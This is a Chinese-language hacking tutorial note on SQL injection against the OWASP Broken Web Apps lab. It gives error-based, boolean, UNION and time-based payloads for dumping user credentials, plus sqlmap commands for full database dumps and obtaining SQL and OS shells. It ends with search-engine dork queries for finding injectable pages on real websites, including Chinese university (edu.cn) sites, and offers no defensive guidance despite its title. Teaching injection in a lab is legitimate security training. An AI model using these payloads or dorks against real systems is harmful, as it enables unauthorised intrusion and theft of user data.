黑客攻防笔记Day03

SQL注入攻防及防御

1、项目实验环境

在owasp年度top 10 安全问题中，注入高居榜首。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序， 而这些输入
大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地 过滤用户输入的数据，致
使非法数据侵入系统。
1. 对于Web应用程序而言，用户核心数据存储在数据库中，例如MySQL、SQL Server、Oracle； 

2. 通过SQL注入攻击，可以获取、修改、删除数据库信息，并且通过提权来控制Web服务器等其他操作； 

3. SQL注入即攻击者通过构造特殊的SQL语句，入侵目标系统，致使后台数据库泄露数据的过程； 

4. 因为SQL注入漏洞造成的严重危害性，所以常年稳居OWASP TOP10的榜首!

目标靶机：OWASP_Broken_Web_Apps_VM_1.2

测试渗透机：Kali-Linux

2、SQL注入危害

1、拖库导致用户数据泄漏； 

2、危害web等应用的安全; 

3、失去操作系统的控制权； 

4、用户信息被非法买卖； 

5、危害企业及国家的安全！

3、SQL基础回顾

3.1登录OWASP

项目环境：OWASP 
表1：dvwa.users 
表2：wordpress.wp_users 
表3：mysql.user

3.2查看数据库

 

3.3查看库中的表

 3.4查看表中结构

 3.5查看表记录

 

//简单查询示例 当前库dvwa dvwa.users 
mysql> select * from users; 
mysql> select user_id,first_name,last_name from users; 

其它库 mysql.user 
mysql> desc mysql.user; 
mysql> select * from mysql.user; 
mysql> select user,password,host from mysql.user; 

其它库 wordpress.user 
mysql> desc wordpress.wp_users; 
mysql> select * from wordpress.wp_users; 
mysql> select user_login,user_pass from wordpress.wp_users; 


//条件查询示例 
mysql> select user,password,host from mysql.user where user='root'; 
mysql> select user,password,host from mysql.user where user='root' and host='localhost'; 
mysql> select user,password,host from mysql.user where user='root' or host='localhost'; 
mysql> desc dvwa.users; 
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge'; 
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1; 
mysql> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2; 
mysql> select user_id,first_name,last_name from dvwa.users where user_id=2; 
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7; 
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

 

//联合查询UNION 
mysql> select user,password from mysql.user; 
mysql> select user_login,user_pass from wordpress.wp_users; 
mysql> select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users; 

mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users; ERROR 1222 (21000): The used SELECT statements have a different number of columns 

注：union查询前后字段数必须相同 
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

思考：前面的查询已经写死了，如何使下面的语句成功？
mysql> select * from dvwa.users 
-> union 
-> select user_login,user_pass from wordpress.wp_users; 
ERROR 1222 (21000): The used SELECT statements have a different number of columns 

方法：猜字段数 mysql> select * from dvwa.users union select 1; 
mysql> select * from dvwa.users union select 1,2; 
mysql> select * from dvwa.users union select 1,2,3; 
mysql> select * from dvwa.users union select 1,2,3,4; 
mysql> select * from dvwa.users union select 1,2,3,4,5; 
mysql> select * from dvwa.users union select 1,2,3,4,5,6; 

mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

3.6information_schema

====查询数据库库名、表名 information_schema.tables=== mysql> select * from information_schema.TABLESG 
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等价于show databases 
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLESG 
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMAG 
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa'; //等价于show tables e.g. ********* 679. row *********

====查询数据库库名、表名、字段名 information_schema.columns=== 
mysql> select * from information_schema.columnsG 
mysql> select column_name from INFORMATION_SCHEMA.columns; 
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa' and table_name='users';

4、SQL注入流程

1、判断是否有SQL注入漏洞；
2、判断操作系统、数据库和web应用的类型；
3、获取数据库信息，包括管理员信息及拖库；
4、加密信息破解，sqlmap可自动破解；
5、提升权限，获取sql-shell、os-shell、登录应用后台；

5、手动注入实践

5.1基于错误的注入

错误注入的思路时通过构造特殊的sql语句，根据得到的错误信息，确认sql诸如点；
通过数据库报错信息，也可以探测到数据库的类型和其他有用信息；
通过输入单引号，出发数据库异常，通过异常日志诊断数据库类型，例如这里是MySQL数据库。

 

 当前面SQL所使用的库为dvwa

搜索框正常输入1

SQL语句解析
root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where 
user_id='1'"
+------------+-----------+ 
| first_name| last_name | 
+------------+-----------+ 
|    admin    |    admin    | 
+------------+-----------+

页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server 
version for the right syntax to use near ''''' at line 1

SQL语句解析：
root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where 
user_id=' ' '"
 
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

5.2基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码；

原始语句： 
mysql> select first_name,last_name from dvwa.users where user_id='' 

SQL注入语句解析： ' or 1=1 -- ' 
root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where 
user_id=' ' or 1=1 -- ' '" 
+------------+-----------+ 
| first_name | last_name | 
+------------+-----------+ 
|    admin    |    admin | 
|    Gordon   |    Brown | 
|      Hack   |      Me  | 
|     Pablo   |  Picasso | 
|      Bob    |  Smith   |
|     user    |   user   | 
+------------+-----------+ 
说明：
第一个' 用于闭合前面的条件 
or 1=1 为真的条件 
-- 将注释后面的所有语句

5.3基于UNION注入

UNION语句用于联合前面的SELECT查询语句，合并查询更多信息； 
一般通过错误和布尔注入确认注入点之后，便开始通过union语句来获取有效信息。 
//猜测数据列数 
' union select 1 -- ' 
' union select 1,2 -- ' 
' union select 1,2,3 -- ' 
' union select 1,2,3,4 -- ' 

SQL注入语句解析： 
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' 
        //union 前后字段名数量不一致，语法出现错误；

mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' 
        //union 前后字段数量都是2，语法正确；

//获得当前数据库及用户信息 
'union select version(), database() -- ' 
'union select user(), database() -- ' 

mysql> select first_name,last_name from dvwa.users where user_id=''union select version(), database() -- '' 
mysql> select first_name,last_name from dvwa.users where user_id=''union select user(), database() -- '' 

说明： 
version() 获得数据库版本信息 
database() 获得当前数据库名 
user() 获得当前用户名 

//查询数据库中所有表 
information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式； 元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。 

SQL注入语句解析： mysql> select * from information_schema.TABLESG 

//查询所有库名 
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- ' 
mysql> select first_name,last_name from dvwa.users where user_id=''union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '' 

//查看所库中所有表名 
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- ' 
mysql> select first_name,last_name from dvwa.users where user_id=''union select table_name,1 from INFORMATION_SCHEMA.tables -- '' 

// 查询所有库名
root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where
user_id=' 'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables --

查看 'dvwa' 库中所有表名

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where 
user_id=' 'union select table_name, 1 from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa' -- ' '"

 

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where 
user_id=' 'union select table_name, COLUMN_NAME from INFORMATION_SCHEMA.columns where TABLE_SCHEMA='dvwa' -- ' '"

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' '
union select table_name, COLUMN_NAME from INFORMATION_SCHEMA.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='guestbook' -- ' '"

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' '
union select table_name, COLUMN_NAME from INFORMATION_SCHEMA.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' -- ' '"

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' '
union select user,password from dvwa.users -- ' '"

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' '
union select user_id, concat(first_name,last_name,user,password) from dvwa.users -- ' '"

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' '
union select user_id, concat(first_name,' ',last_name,' ',user,' ',password) from dvwa.users -- ' '"

root@owaspbwa:~# mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' '
union select user_id, concat(first_name,'	',last_name,'	',user,'	',password) from dvwa.users -- ' '"

//同时查询表名及对应库名 
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- ' 
mysql> select first_name,last_name from dvwa.users where user_id=''union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- ''

 

 

//原始语句 
mysql> select first_name,last_name from dvwa.users where user_id='$id'

 //查询数据表 
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' 'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' 
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ' 

SQL注入语句解析： 
mysql> select first_name,last_name from dvwa.users where user_id=''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '' mysql> select first_name,last_name from dvwa.users where user_id=''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '' 
mysql> select first_name,last_name from dvwa.users where user_id=''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '' 

//查询数据列 
'union select NULL, user from users -- ' 
'union select NULL, password from users -- ' 
'union select user, password from users -- ' 
'union select NULL, GRANTEE from USER_PRIVILEGES -- ' 
'union select password, concat(first_name,' ',last_name,' ',user) from users -- ' 

SQL注入语句解析： 
mysql> use dvwa; 
mysql> select first_name,last_name from dvwa.users where user_id=''union select password, concat(first_name,' ',last_name,' ',user) from users -- ''

5.4基于时间的盲注

有些数据库对错误信息做了安全配置，使得无法通过以上方式探测到注入点，此时，通过设置sleep语句来探测注入点。

 

 

 

SQL注入语句解析： 
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '

 6、sqlmap自动化注入

SQL注入比较好用的工具，首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具，可以用来进行自动 化检测，利用SQL注入漏洞，获取数据库服务器的权限。
它具有功能强大的检测引擎，针对各种不同类型数据库的安全稳 定性测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。 

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

 

 6.1GET方法注入

 

 

root@kali:~# sqlmap -u "http://192.168.208.140.134/mutillidae/index.php?page=user- info.php&username=yangjie&password=12345&user-info-php-submit-button=View+Account+Details" 

root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username

 注：IP地址换当DVWA当前的IP

root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=yangjie&password=12345&user-info-php-submit-button=View+Account+Details" -p username 

root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --dbms=mysql 

root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --dbms=mysql --batch

//获取所有数据库 
root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=yangjie&password=12345&user-info-php-submit-button=View+Account+Details" --dbs

 

//获得所有用户
oot@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user-info.php&username=yangjie&password=12345&user-info-php-submit-button=View+Account+Details" --users

 

//获得当前用户

root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user-info.php&username=yangjie&password=12345&user-info-php-submit-button=View+Account+Details" --current-user

sqlmap 参数解析：
--users
--current-user
--dbs
--current-db
-D "database_name" --tables
-D "database_name" -T "table_name" --columns


--dump -all
--dump -all --exclude-sysdbs
-D "database_name"
-D "database_name" -T "table_name" --dump
-D "databses_name" -T "table_name" -C "username,password" --dump


--batch //自动化完成 
-p 参数 //参数，例如username 
--dbms //指定数据库类型，例如--dbms=mysql 

示例步骤： 
1. 获得当前数据库 
root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=yangjie&password=12345&user-info-php-submit-button=View+Account+Details"  -p username --dbms=mysql --batch --current-db

 2. 获得数据库表 
root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=eee&password=eee&user-info-php-submit-button=View+Account+Details"  --batch -D nowasp --tables

3. 获得表的字段 
root@kali:~# sqlmap -u "http://192.168.208.140/mutillidae/index.php?page=user- info.php&username=eee&password=eee&user-info-php-submit-button=View+Account+Details"  --batch -D nowasp -T accounts --columns 

4. 获得表中的数据 
root@kali:~# sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user- info.php&username=eee&password=eee&user-info-php-submit-button=View+Account+Details"  --batch -D nowasp -T accounts -C "username, password" --dump

6.2 POST方法注入

需要带cookie才能访问的注入页面，--cookie=""

  

sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch --cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low"

 

 查看当前数据库，结果显示当前数据库只有两个

sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch
 --cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" --dbs

 获得表

sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch 
--cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" -D dvwa --tables

 6.3数据获取

--users 
--current-user 
--dbs --current-db 
-D "database_name" --tables 
-D "database_name" -T "table_name" --columns 
--dump-all 
--dump-all --exclude-sysdbs 
-D "database_name" -T "table_name" -C "username, password" --dump

 获得users表中的所有列

sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch 
--cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" -D dvwa -T users --columns

  

sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch 
--cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" -D dvwa -T users -C username,password --dump

sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch 
--cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" -D dvwa -T users --dump

 6.4提权操作

//与数据库交互 --sql-shell
sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch 
--cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" --batch --sql-shell

sql-shell> select * from users;

 

//与操作系统交互 --os-shell 需要对网站目录有写权限，否则无法创建os-shell 
root@kali:~# sqlmap -u "http://192.168.206.132/dvwa/vulnerabilities/sqli/?id=4444&Submit=Submit#" --batch 
--cookie="PHPSESSID=263j2gb394dqbfmv72mv0a1vp3;security=low" --batch --os-shell

6.5综合实例

1. 通过Google搜索可能存在注入的页面 
inurl:.php?id= 
inurl:.jsp?id= 
inurl:.asp?id= 
inurl:/admin/login.php 
inurl:.php?id= intitle:美女 

2. 通过百度搜索可能存在注入的页面 
inurl:news.asp?id= site:edu.cn 
inurl:news.php?id= site:edu.cn 
inurl:news.aspx?id= site:edu.cn